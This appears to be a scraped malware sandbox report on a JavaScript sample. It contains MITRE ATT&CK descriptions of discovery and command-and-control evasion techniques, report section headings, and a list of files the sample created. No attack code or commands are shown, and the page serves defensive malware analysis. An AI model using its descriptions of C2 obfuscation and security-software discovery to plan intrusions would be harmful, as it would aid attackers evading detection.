Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 260622981189829640.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\92fa1085-26e3-46ff-a3da-04cbe195c97c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4412

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
260622981189829640.js